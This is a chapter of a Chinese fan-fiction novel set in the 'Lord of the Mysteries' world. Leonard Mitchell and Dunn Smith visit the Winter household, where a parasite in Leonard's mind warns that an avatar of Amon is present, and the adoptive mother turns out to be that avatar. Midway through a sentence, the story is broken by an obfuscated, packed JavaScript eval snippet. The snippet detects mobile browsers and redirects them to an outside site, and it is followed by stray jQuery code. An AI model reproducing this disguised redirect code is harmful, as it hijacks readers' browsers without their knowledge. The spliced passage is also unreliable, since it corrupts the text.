6.阿蒙
作品:《天使归位指南【诡秘之主】》 温特家一楼的浴室里,水汽氤氲,泛着菖蒲独有的清苦香气。
浴室木制的门扉上,挂着一只用菖蒲与艾蒿手编而成的香草挂环,这是斯普劳特溪畔每到入夏时节,家家户户都会悬挂的驱邪门饰,如今也在廷根市内悄然流行着。
一只藤编衣篓立在浴室墙角,篓里堆放着伦纳德·米切尔那身还沾着尘土与草屑的脏衣服。
紧挨衣篓,有个目测一米高的储物木柜,柜上叠放着诺兰借给伦纳德更换的干净衣物,以及一条折得方方正正的粗纺棉布浴巾。
伦纳德·米切尔双臂张开,随意架在木制浴桶的边沿,整个人惬意地浸在表面漂浮有些许菖蒲碎叶的热水中,感受着通过毛孔渗入体内的丝丝暖意,身心舒畅地眯起了眼睛。
放松了近十分钟,伦纳德才恍然发觉寄宿于他体内的那个神秘存在,今天竟异常的……
“安分”?
“老头?”伦纳德压低声音,试探着呼唤道,“老头?你今天很不对劲啊,换作平时,我被猪拽着到处跑那会儿,你早该出声笑话我了,可我都动用非凡能力让那三头猪昏睡过去了,你也没吭一声。”
在他脑海中,一道略显苍老的嗓音迟滞了好一阵子,才低哑回应道:“马上离开这里,办不到的话,就闭紧你的嘴,当我不存在,最好也不要想任何与我有关的事。”
伦纳德脸上的惬意瞬间褪去,他神色一凝,声音压得更低了,追问道:“为什么?这里有问题?而且还是……你解决不了的‘大问题’?”
“唉……”那苍老的嗓音发出一声长叹,语气里带着几分自嘲的疲惫,“你不是一直都很好奇,我为什么会寄生至你体内吗?现在我可以告诉你原因了——我遭受了重创,正在躲避同途径一个姓‘阿蒙’的高序列者,祂想掠夺我的非凡特性。”
“而直到刚刚,我才确定阿蒙的一个分|身,就在这里……”略显苍老的嗓音犹疑道,“不过,或许是祂这分|身选择的寄生对象状态过差,又或许是其本身序列不高,感知受限……”
“总之眼下,阿蒙要么尚未发现我的存在,要么就是发现了,却碍于种种因素,暂不准备对我动手,”那苍老的嗓音在伦纳德脑海中久久回荡道,“祂的心思,从来都不好猜啊……”
“‘祂’?”尽管伦纳德还浸泡在温热的洗澡水里,但那股源于内心惊惧的寒意,却不管不顾,径直攀上了他的脊背,“老头,你说的这个阿、这个家伙,难道是位天——”
“这不是你现阶段该打听的事,”略显苍老的嗓音刻意转移了话题,可语气依旧凝重,“留心那个叫‘诺兰’的小子——方才村民围着你们表示欢迎那会儿,他在牛车上险些失控。”
“失控?!”伦纳德“哗”一下从水中站起,又骤然记起体内寄生者先前的叮嘱,忙降低声音道,“我怎么一点都没察觉到?等等、老头你的意思是——诺兰·温特是名‘非凡者’?而且还濒临失控?”
然而这一次,他脑海中那道苍老的嗓音却迟迟没给回复,仿佛陷入了沉睡,任凭伦纳德如何呼唤,都没有半点回应。
伦纳德揣着满腹疑虑结束了沐浴,换上诺兰借给他的干净衬衫和长裤,走出了温特家的浴室。
他用毛巾擦着还在滴水的黑色湿发,目光不动声色地扫过房屋前院的景象,最终落在了正被隔壁卡伦家还有邓恩·史密斯围观杀猪放血的诺兰·温特身上。
只见对方在给一头肉猪放完血后,便抱来一只粗陶盐罐,往盛着猪血的大木盆里添了几匙粗盐,随即又拿起一把长柄木勺,一圈接一圈缓缓搅动起了盆中的赤红液体。
而诺兰那副满脸期待、凝神专注的模样,落在伦纳德眼里,竟像极了邪神信徒在筹备某种血腥祭祀时的狂热与亢奋。
这让伦纳德不禁蹙眉凑上前去,疑惑发问道:“他这是在做什么?”
“准备一种在精灵族食谱中很常见的食材——”邓恩·史密斯转过身,温和开口道,“动物血块。”
“精灵族?动物血块?”伦纳德闻言更困惑了,不免在心里泛起了嘀咕:难不成诺兰既是濒临失控的野生非凡者,又是精灵和人类的混血?
可他瞧着对方除了有一张跟自己不相上下的英俊脸庞外,也没长什么精灵族特有的黑蓝色头发和尖耳啊……
“虽然还没吃午餐,但我已经开始期待今日的晚餐了。”邓恩微笑上前,挽起袖管,协助诺兰将那盆加盐搅拌均匀的猪血,搬到了阴凉通风的屋檐下静置。
之后,他又招呼伦纳德一起,配合诺兰完成了整头猪的分割作业。
按照早上的约定,诺兰将半扇猪肉和部分猪内脏交给了卡伦先生的妻儿带走,剩下的则要用于烹制招待贵客的餐食了。
在养母梅布尔的提议下,诺兰先揉了一盆面,趁着面团醒发的间隙,他将一大块肥瘦相间的前腿肉切成细碎的肉臊,拌上洋葱末、萝卜丁等蔬菜,又撒上些食用盐和黑胡椒,调制成了一盆香气扑鼻的猪肉派馅料。
而伦纳德也借着和邓恩一同搬柴烧水的机会,将他体内老头针对诺兰·温特的提醒,悄悄转述给了对方听。
邓恩闻言,眼中闪过一丝讶异,却并未深究伦纳德发现诺兰异常的过程,他微微颔首,思忖片刻后便做出了指示:“我带着封印物‘3-0782’留在这里观察情况、防备意外,你寻个借口,立刻出发去村礼拜堂找米切尔主事过来支援。”
“呃……”伦纳德一想到在这小小的斯普劳特溪畔,除却诺兰·温特是个濒临失控的野生非凡者外,还隐藏着一位需要用“祂”来称呼的高序列强者,难免生出一股无力感。
他很清楚,在阿蒙那种层级的存在面前,低序列非凡者就算拼尽全力,也无任何意义。
伦纳德张了张嘴,终是没有反驳邓恩的指派,因为他已决定向看护自己长大的米切尔院长,坦白一切,寻求黑夜女神教会高层的援助。
怎料梅布尔·温特夫人听伦纳德说还有事要去村礼拜堂,便提议让他先用过午餐再动身,也好给米切尔主事捎些猪肉派过去。
这一瞬,邓恩和伦纳德竟都觉得这安排十分妥帖,就依从了梅布尔的好意。
等诺兰端来刚出炉的喷香猪肉派和解腻的爽口果蔬沙拉,他们二人便跟梅布尔母子一道,围坐在温特家的餐桌旁,享用了一顿温馨可口的午餐。
直到午餐结束,梅布尔夫人由诺兰搀扶着,坐进了摆放于门廊的摇椅中,伦纳德才被脑海里陡然而至的一声长叹惊醒,意识到他和邓恩刚才居然“忘记”了还要去村礼拜堂找米切尔院长求援的计划!
伦纳德连忙站起身,在邓恩困惑的注视下,以“必须让米切尔院长也尝尝这酥香的猪肉派”为借口,迅速接过诺兰递来的油纸,包上一角派,驾着米洛克家的平板牛车,飞快驶离了温特家。
目送队员赶着牛车扬尘而去,被留下的邓恩·史密斯,不由得摇头失笑。
他的视线随意扫过门廊,落在了陷坐于摇椅内的梅布尔夫人身上——
对方为浏览养子诺兰上午自村礼拜堂借阅来的上周报纸,正把一只水晶磨成的单片眼镜,夹进了自己的右眼眼窝中……
见状,邓恩眉头微不可察地蹙了蹙,脑中一片空白。
他记不起自己等下要做什么了……
嗯……
好像是伦纳德汇报了一件事?
可具体是什么事,邓恩却怎么也想不起来了。
又或许……
伦纳德根
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17042904|194694||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
本就没向他汇报过什么。
健忘——是不眠者途径序列7“梦魇”自带的能力副作用,很容易让邓恩分不清梦境与现实。
他从衣服口袋里取出那只陪伴多年的烟斗,熟练地往斗钵里塞填了烟丝和薄荷。
往常执行任务时,邓恩基本不会点燃烟斗,任自己沉沦,顶多嗅上一嗅这清凉又提神的味道。
但此刻,他却下意识地摸出火柴盒,划燃一根火柴,点上了烟斗。
邓恩踱步到诺兰家的餐厅窗前,任由那股带着薄荷清凉的烟气涌入自己的肺部,再被他徐徐吐出。
正在清洗餐具的诺兰·温特,对此也未露半分反感,他一边用布块擦拭着餐盘,一边时不时地和摇椅上的养母“梅布尔”讨论报纸上的内容,偶尔还会问上一句邓恩的看法。
三个人就这样闲聊着,连时间都仿佛被这祥和的气氛所浸染,流淌得缓慢而悠长……
另一边——
伦纳德·米切尔靠着体内寄生者“借”来给他用的牛车驾驶技能,一路疾驰,很快就抵达了村礼拜堂。
“院长?”伦纳德习惯性地喊着米切尔主事过去的身份,他推开门跑进堂内,却没有看到任何人影,便又焦急喊了几声,“米切尔院长你在吗?”
“怎么偏偏这个时候不在!”伦纳德烦躁地抓了抓他被风吹乱的头发,低声问道,“老头,我们接下来该怎么办?”
“该怎么办?”伦纳德脑海内略显苍老的嗓音呵笑一声后,接道,“当然是立刻逃了——凭你还对付不了阿蒙的分|身,而以我现在的状态,啧、也对付不了祂。”
“可我若是跑了,那队长怎么办?”伦纳德拒绝道,“不行,我不能丢下队长一个人跑,尤其是在这种时候。”
“唉~这可由不得你小子了……”
脑海中苍老的话音刚落,伦纳德便觉双腿脱离了自己的控制,脚下步子由走变跑,越来越快,带着他径直冲向了那辆仍停在村礼拜堂门口的平板牛车。
在这一过程中,无论伦纳德如何拼命,想要刹住脚步,身体也完全不听他使唤。
“老头!!!”
与此同时,温特家。
右眼戴着单片眼镜的“梅布尔·温特”夫人,正坐在摇椅上,有一下没一下地前后轻晃着。
“掠夺……”摇椅向后晃去,“梅布尔”嘴唇翕动,声音轻得像一阵风,“不掠夺?”
“吞噬……”摇椅向前晃来,“梅布尔”单片眼镜后的目光晦暗不明,“不吞噬?”
“寄生……”摇椅再次向后晃去,“梅布尔”语气里溢出了星点玩味,“不寄生?”
“帕列斯……索罗亚斯德,”摇椅猝然一顿,“梅布尔”长长叹了一口气,似不甘,又似无奈,低喃出声道,“我的序列终究还是差了些……你们确定——不过来帮我了吗?”
话音还未落定,头发斑白的“梅布尔”突然前倾身体,一手紧紧捂住胸口,止不住地剧烈咳嗽了起来:“咳!咳咳咳咳……”
“妈妈?!”
刚放好餐具的诺兰,忙擦干双手,从橱柜里取出一瓶贴着手写标签的药剂,快步跑到摇椅旁,轻柔扶起他的养母“梅布尔”,协助对方服下了那瓶药剂。
片刻后,“梅布尔”的咳喘才渐渐平息。
诺兰轻拍着养母的后背,担忧地问道:“现在您感觉怎么样了?”
“好多了,我的小诺兰……”
“梅布尔”缓了口气,抬手摘下右眼的单片眼镜,并用裙摆轻拭起了那块水晶制成的镜片。
她微抬眼眸,目光柔和地看向养子,唇角微扬,浅笑着催促道:“去看看那盆猪血块凝固定型了没?我真想立刻吃到你做的香煎猪血块啊~”

